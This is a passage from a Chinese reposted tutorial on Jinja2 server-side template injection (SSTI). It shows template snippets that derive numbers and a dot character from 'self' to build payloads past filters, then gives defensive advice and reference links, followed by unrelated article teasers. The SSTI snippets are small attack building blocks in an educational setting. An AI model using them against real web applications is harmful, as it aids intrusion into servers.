#     >>> foo = Undefined(name='foo')
#     >>> str(foo)
#     ''
#     >>> not foo
#     True
#     >>> foo + 42
#     Traceback (most recent call last):
#       ...
#     jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .

防御方法:

(1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
(2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法

参考文章:

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

 【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。-CSDN博客

 超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客

 https://www.cnblogs.com/2ha0yuk7on/p/16648850.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/476429.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

读取pdf文件转为txt文件,使用正则表达式删除页码

通过下述链接中的代码python 读取pdf中的文本&#xff0c;读取pdf的文字到txt文本中。 txt文本中&#xff0c;包含pdf的页码信息&#xff0c;使用如下代码删除pdf的页码 下述是包含页码信息的一段文本&#xff0c;在其中给出了4中不同格式的页码信息。 text ""&qu…

day2 nestjs应用初始化及调试

Java转Ts全栈的学习记录 基础知识 Nest (NestJS) 是一个用于构建高效、可扩展的 Node.js 服务器端应用的框架。&#xff08;对标springboot&#xff09;ES ECMAScript 规范&#xff0c;约束js用的语法规范吧&#xff0c;比如const let这类语法就可以用了Eslint与Prettier美化代…

高可用、逻辑保护、容灾、多活、妥协、流程

可用性三叉戟&#xff1a; 本地高可用性&#xff1a;消除单点故障&#xff0c;确保链路所有环节系统高可用 本地是指&#xff1a;针对生产中心的内部故障 故障类型&#xff1a;服务器、硬盘、适配器卡、网络 特点&#xff1a;快速恢复、自动的接管、实施简单 RPO-0 业务逻辑保护…

Python基础学习笔记(一)

Python简介 Python 语言是一种跨平台、开源、免费、解释型、面向对象、动态数据类型的高级程序设计语言。早期版本的 Python 被称作是 Python1&#xff1b;Python2 最后一个版本是 2.7&#xff1b;Python3 是目前最活跃的版 本&#xff0c;基本上新开发的 Python 代码都会支持…

【网络原理】详解HTTPS协议加密过程

文章目录 &#x1f334;HTTPS协议是什么&#xff1f;&#x1f384;运营商劫持事件&#x1f332;HTTPS的工作过程&#x1f338;对称加密&#x1f338;非对称加密&#x1f338;引入证书&#x1f338;完整流程 &#x1f333;HTTPS加密总结⭕总结 &#x1f334;HTTPS协议是什么&…

用户行为分析是什么?为什么我们需要 bitmap?

本文非常好&#xff1a;https://blog.bcmeng.com/post/doris-bitmap.html meta搜也非常好&#xff1a;https://metaso.cn/ 用户行为分析是什么&#xff1f;简单说&#xff0c;就是围绕全体用户&#xff0c;做各种分析。用户就是一个个的 id。id 在不同方面有各种行为记录&…

日志集中审计系列(2)--- LogAuditor接收ASG设备日志

日志集中审计系列(2)--- LogAuditor接收ASG设备日志 前言拓扑图设备选型组网需求配置思路操作步骤结果验证前言 近期有读者留言:“因华为数通模拟器仅能支持USG6000V的防火墙,无法支持别的安全产品,导致很多网络安全的方案和产品功能无法模拟练习,是否有真机操作的实验或…

使用参数创建动态报表

动态报表是开发人员可以根据用户规范更改数据的报表。 可以通过确定要在报表中要查看其数据的值来使用参数&#xff0c;报表会通过筛选数据来相应地进行更新。对于数据量非常大&#xff0c;影响Power BI 运行性能的&#xff0c;可以通过这个动态更改数据源筛选的方法。 通过创…

2024最全 Java 面试八股文

2024 年的互联网行业竞争越来越严峻&#xff0c;面试也是越来越难&#xff0c;一直以来我都想整理一套完美的面试宝典&#xff0c;奈何难抽出时间&#xff0c;这套 1000道的 Java 面试手册我整理了整整 1 个月&#xff0c;上传到 Git 上目前 star 数达到了 30K 这套互联网 Jav…

vulnhub打靶记录——Mycmsms

文章目录 一、环境布置主机发现 二、端口扫描nikto基本探测目录扫描CMS EXP搜索探查mysql数据库CMS代码审计CMS后台权限提升 一、环境布置 靶机在virtualbox中搭建&#xff0c;攻击机使用vmware中安装的kali&#xff0c;主要是解决kali能ping通靶机&#xff0c;同时能访问外网…

SAP BW升级至2023版本后需要注意的点

SAP BW/4HANA 升级至最新版本后&#xff0c;最大的注意点就是原本的HANA studio开发工具打开某些模型或者DTP时会出现某些报错&#xff0c;如图所示&#xff1a; 看到这个提示的时候就需要去下载最新的版本了&#xff0c;我们去到SAP官网 SAP Development Tools 官网已经开始推…

Czkawka重复文件查找工具

分享一款重复文件查找工具&#xff0c;Czkawka是一款简单、快速且免费的用于查找重复项、空文件夹、相似图像等的多功能的应用程序。可以从计算机中删除不必要的文件。 软件特色&#xff1a; 用内存安全的 Rust 编写&#xff0c;惊人的快 – 由于使用了或多或少的高级算法和多线…

解决idea粘贴空格时显示NBSP的问题并且在Registry中找不到editor.show.special.chars

1、解决java 复制代码NBSP问题 参考文章 原因&#xff1a;2020.2版本以后无法找到以上的选项来解决问题&#xff1b;之后的版本这个选项换地方了 解决办法&#xff1a;在设置中找到Advanced Settings&#xff0c;把Render special characters前面的对勾取消掉就好了。

微软开源Garnet高性能缓存服务安装

Garnet介绍 Garnet是一款微软研究院基于C#开发而开源的高性能缓存服务&#xff0c;支持Windows、Linux多平台部署&#xff0c;Garnet兼容Redis服务API&#xff0c;在性能和使用架构上较Redis有很大提升&#xff08;官方说法&#xff09;&#xff0c;并提供与Redis一样的命令操…

2024格行VS华为VS飞猫哪个是最值得购买随身WiFi?中兴随身WiFi好用吗?

经常出差旅行&#xff0c;或者户外工作的朋友因为长期在外&#xff0c;手机流量经常不够用&#xff0c;想必都是随身WiFi的忠实用户&#xff0c;但是也都被这款产品割韭菜割的头皮发麻。今天&#xff0c;我们统计了市面上最靠谱的、最热销、口碑最好的几款随身WiFi。排名依据来…

【FLOOD FILL专题】【蓝桥杯备考训练】:扫雷、动态网格、走迷宫、画图、山峰和山谷【已更新完成】

目录 1、扫雷&#xff08;Google Kickstart2014 Round C Problem A&#xff09; 2、动态网格&#xff08;Google Kickstart2015 Round D Problem A&#xff09; 3、走迷宫&#xff08;模板&#xff09; 4、画图&#xff08;第六次CCF计算机软件能力认证&#xff09; 5、山…

mybatis-plus BaseMapper<T>不生效问题的解决方案

一、情景引入 MyBatis是一款优秀的持久层框架&#xff0c;用于简化JDBC开发。官网&#xff1a;http://mybatis.org/mybatis-3/zh/index.html mybatis-plus更是为我们集成实现了一些基本的CRUD方法&#xff0c;为我们省去了许多重复的工作。然而&#xff0c;很多时候一些不正确…

用python的pandas读取excel文件中的数据

一、读取Excel文件 使用pandas的read_excel()方法&#xff0c;可通过文件路径直接读取。注意到&#xff0c;在一个excel文件中有多个sheet&#xff0c;因此&#xff0c;对excel文件的读取实际上是读取指定文件、并同时指定sheet下的数据。可以一次读取一个sheet&#xff0c;也可…

Appium+python自动化怎么查看程序所占端口号和IP

简介 这篇博文和分类看似没有多大关系&#xff0c;但是也是从上一篇衍生出来的产物&#xff0c;因为涉及到 FQ工具 Lantern &#xff0c;就算是给关注和支持的小伙伴们拓展一下眼界和知识面。而且好多人都阅读了上一篇没发现那个参考博客点不开吗&#xff1f;那是因为还没来的…

泛微OA常用的接口或方法(不公开)

泛微OA常用的接口或方法 记录一些平时工作用到的方法或属性&#xff0c;不公开&#xff0c;防忘记。 文章目录 泛微OA常用的接口或方法1 获取当前操作者2 根据人员id获取人员卡片信息3 获取浏览按钮的文本值4 插入 js 发送 post 请求5 插入 js 配合建模、后端接口实现发送 post…